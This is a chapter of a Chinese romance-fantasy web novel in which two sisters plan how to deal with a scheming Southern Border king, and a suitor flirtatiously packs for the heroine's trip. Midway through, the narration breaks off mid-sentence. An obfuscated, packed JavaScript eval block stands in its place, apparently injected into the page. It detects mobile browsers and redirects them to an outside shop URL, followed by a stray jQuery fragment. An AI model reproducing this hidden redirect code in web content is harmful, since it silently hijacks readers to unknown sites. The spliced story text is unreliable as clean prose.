一周后,屠谑云安排的暗线传来消息,在南疆域内找到了蚩饕的踪迹。
据悉,自从他惹怒了苗人,被剽悍的苗寨人民举着铁棍赶出了寨子,他豢养的那帮死士带着他一路奔逃,乔装打扮成大姞来的富贵商贾,混进南疆的都城躲藏。
都城里有家远近闻名的包子铺,一日,死士出门买包子时,听到老板在说玄黎蚩王的坏话,当即就把老板给打伤了。
在南疆说玄黎君王的坏话被打,这事怎么说都很离奇,就好像疆域内出了几个一心向往玄黎的卖国贼,暗线顺着老板的描述一路探查,很快就捕捉到了他们的动静。
蚩饕在各个医官游击似地问诊,他体内的毒似乎清得差不多了,虽然说话还有些大舌头,但能用丰富的肢体语言精确地表达愤怒、失望等情绪。
屠谑云派暗线再深入追踪,惊动了南疆的王。
“这也是没办法的事。”屠谑云对屠笑尔说,满脸不解,“他们那边的习俗是吃完饭后围着篝火跳舞,暗线的人肢体太不协调,一下子就被他们识破了,当地民众把我的暗线扭送到南疆王那里,南疆王就写了这封信过来,嘲笑了半天。”
屠笑尔接过信一看,那语气的确很过分,在如此严肃的夷国邦交上,那人竟能写五十个“哈”字。
“他们的王还挺开朗。”屠笑尔视线滑向落款,朱红印显示出一个熟稔的名字:
【刀罗摩衍】
“哈。”屠笑尔条件反射地喊了一声。
“怎么,你认识?”屠谑云说,“这是半年前才登基的新王,看起来不是什么善茬。他把我的暗线全都绑了,压在寨中,不让他们出来。”
“我觉得他并非那种嗜杀的人,相反他十分狡猾,应该会拿那些人质跟我们做交易。”
屠笑尔回忆着,“他把我们的人压在寨中做什么呢?”
屠谑云嗤了一声,葱白指尖往信纸某处一戳:“学跳舞。”
屠笑尔的道德和笑点在打架。
她问道:“姐姐,他可有提出什么放回人质的条件?”
屠谑云神色有些犹豫。
“说呀姐姐,什么事?”屠笑尔急切道,“新王上位需要建设邦交,他不可能提出什么离经叛道的要求吧。”
屠谑云斟酌再三,实话实说:“他想与玄黎和亲,被我驳回去了,现在换了诉求,他想见你一面。”
“我?”屠笑尔指向自己。
她扭头去看倚在门边的虞无妄,后者神色玩味。
屠笑尔当即把姐姐拉到一旁,低声说:“这个南疆王,成分很复杂。他当年为了躲避兄长残害,也曾到大姞做过质子,和我有一些过节。”
屠谑云看着她那副如临大敌的样子,也跟着放低声音:“你们曾经谋划过一起杀害影王吗?”
“我们谋划那个干嘛呀。”屠笑尔即刻摇头,看了眼虞无妄的神色,又继续小声道,“他有一把神奇的占卜小棍,算出了我是女儿身的秘密。那天月老哥也提过一嘴,说他算是我的烂桃花之一。”
“我懂了。”屠谑云的脸上瞬间出现了八卦的笑意,“他算是你的桃花债。”
“嘘!要是被他听见了,指不定又要怎么折腾我。”屠笑尔头疼道,“我前几日就跟你说过,他逮着个破绽就要开始耍赖,我是招架不住了。”
屠谑云一笑:“这有什么好怕的,姐姐给他颁道指令,让他去解决了南疆王的事情,他不就无暇来找你扯皮了?”
“这……刀罗摩衍与我之间的破事,为何要让他去解决,会不会不太好?”
“不会的。”屠谑云非常自信,“他忙着和人较量,就没空来折腾你了。”
还是姐姐有绝招,屠笑尔用星星眼望着她,佩服得不行。
屠谑云继续道:“正如你所说,南疆王此人工于心计,十分擅长钻空子取巧。他想见你只是一个借口,实则背地里说玄黎内乱,想要趁机夺回南疆以前被我们占领的失地。”
“哎,我们占着人家的地盘也不太好吧,是多少年前抢来的,不还给人家么?”
屠谑云想了想:“八百年前。”
“嗯?”屠笑尔着实没想到。
“八百年前,我们几个游牧民族被大姞——那时候还叫大玄——赶出疆域后,他们南疆几个民族与我们玄黎几个民族打了一架,划定地盘,本来最南边那一片香蕉地被他们抢到了,但他们的老祖喝了酒跟我们老祖打赌输了,就把地输给我们了。”
屠笑尔:“那就不能叫失地了吧?”
屠谑云摇摇头:“据说他们老祖第二天就后悔了,酒醒了想把地要回去,我们老祖没答应。从那以后南疆就一直流传那片香蕉地本该是他们的故土。”
“什么故土都故到别家头上来了。”屠笑尔不赞同道,“所以他们是想趁着我们前段时日搞内斗,趁机来我们这边抢块地?”
“对。”屠谑云颔首,神色凝重,“我早说了,他们的故土情节很严重。”
“好吧,此事的确该严肃应对。如今玄黎的内忧已解,毗邻的几国当中,也就只有南疆虎视眈眈。那些土司世代与玄黎为敌,手中还有许多阴毒蛊术,刀罗摩衍此人阴险狡诈,仗着一副好皮囊笼络人心。”屠笑尔握了握姐姐的手,“我定要亲自跑一趟,替你把这外患给清了。”
屠谑云的指间沾了墨,只用两指骨节轻轻夹了夹她的鼻子:“也好,你与虞大人去的话,我当然放心。只是那南疆的手段太可怕,手里握着能让人产生幻觉的蛊毒,连李将军都对他们忌惮三分。你可千万记住,切莫不可靠近,万事多留个心眼。”
“我记住啦。无论他想耍什么花招,我都不会让他得逞的。”屠笑尔看着案头的玄黎历,“姐姐,你给他写回信吧,就说两日之后,在跨界的这条河道岸边见。”
“好。”屠谑云应下。
屠笑尔又盯着案头的地图仔细看了会,找出一处华点:“姐姐,这地图可是最新的?”
“半年前苗尹亲赴玄黎全境踏勘,一路访询乡野,记下了不少隐秘小道,这便是她刚绘成的新图。”
屠笑尔指尖落在界河之上,挑眉问道:“这条河的名字真的叫戒酒河吗?”
“当然。”屠谑云瞥了一眼,忍俊不禁,“当年南疆先祖醉酒误失疆土,事后追悔莫及,回去哭了一宿才想出来这名字。”
怀着对南疆风情的好奇和即将出游的兴奋,屠笑尔回了小院就开始收拾行李。
具体来说是她坐在床上,看虞无妄收拾。
“不必带这么多衣服吧?”屠笑尔看他整理出几条衣裙,又带了三条斗篷、两件大氅、两条披风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286531|194973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“你带这么多,不如直接把我衣柜直接带走好了。”
虞无妄直起身来,眼中闪过一丝惊艳:“这么好的主意,怎么不早说。”
屠笑尔:?
然后她便看着虞无妄将拿出来的衣物整整齐齐地叠进木箱中,又把木箱轻易地塞进了那只巴掌大的口袋之中。
“你这个神奇包裹,当真能装。”屠笑尔惊讶不已,“它能装刀剑武器么?”
“自然。”虞无妄问她,“想带什么?”
说到这个话题,屠笑尔可来了劲:“我想带上姐姐前些日子送的那把好弓,还有几把软剑、两条长鞭、三支长枪,再带哑师兄送的青铜勃朗宁、磁吸手雷……”
她发现虞无妄的笑意越来越淡,又露出那副委屈巴巴的表情来。
“……怎么了?”屠笑尔跳下了地。
虞无妄看着她走向自己,一动不动,待距离缩短到一臂之长的时候,他倏然出手,把人抱在怀中。
他把下颌搭在屠笑尔头顶,闷闷道:“跟我一同出行,你竟然还要带这么多兵器,都是我的过失……”
屠笑尔一个下蹲利落挣脱,闪身跳到一旁,指着他:“过了嗷,虞无妄,装作自责的把戏只能玩一次,再来我就不会上当了。上次你非说我出门要带拐杖是因为没有安全感,已经从我这里讨过一回补偿了。”
见计谋不成,虞无妄唇角一勾,方才那副低落表情荡然无存。他笑了笑,淡淡道:“法子能不能行,总得试试嘛……”
这只狐狸精!
屠笑尔磨了磨牙,对着他指指点点。
虞无妄哈哈一笑,走上前来,把她不安分的指头拢在掌中。
他的另一只手从膝弯处一抄,就把屠笑尔稳稳掂进怀中。
“虞无妄!”屠笑尔被他刻意抱得腿高身子低,不得不揪住他的衣领,核心发力保持平衡。她艰难道,“你可没有正当理由从我这里要什么安慰了!”
虞无妄不答,一双眸子里潋滟出浓艳的神情,垂眼看着她,好似魂都被她勾走似的。
那副动情的模样简直能打动石像。
屠笑尔不为所动,正直道:“我已经看出来了,你就是喜欢在我面前演,成天变着法地奖励自己。这都一连几天了,你就不能让我歇歇?反正我不会再哄你了!也不会再上当了!”
“是吗?”虞无妄轻声说,他眉梢微挑,将屠笑尔抱得直起身来,与她贴了贴额头,嗓音低哑呢喃,“可刀罗摩衍指名道姓要见你,我心里好生难受。”
“我反正不难受。”屠笑尔咬牙,硬邦邦地回。
“你还要主动去见他,偏偏还是公务那样名正言顺的理由,叫我说不出一句反对来。我好难受啊。”虞无妄高挺的鼻梁在她侧颊梭巡,语气悱恻又酸涩,“我好忮忌、好难过,偏偏找不到发泄的由头,你可怜可怜我,好不好?”
屠笑尔不为所动,正直得像法海:“我跟你说,你这叫强盗逻辑。”
“好吧。”虞无妄发出一声轻轻的叹息,柔情似水的眸子锁住她,眼瞳中只盛了她一人的身影,烛火摇曳间,眼底似泛着浅浅水光。
“我心悦你。”他喉间滚出低哑缱绻的呢喃,眼底烛火与情意缠作一团,“这个理由,够不够?”
“今夜换我来哄你,好不好?”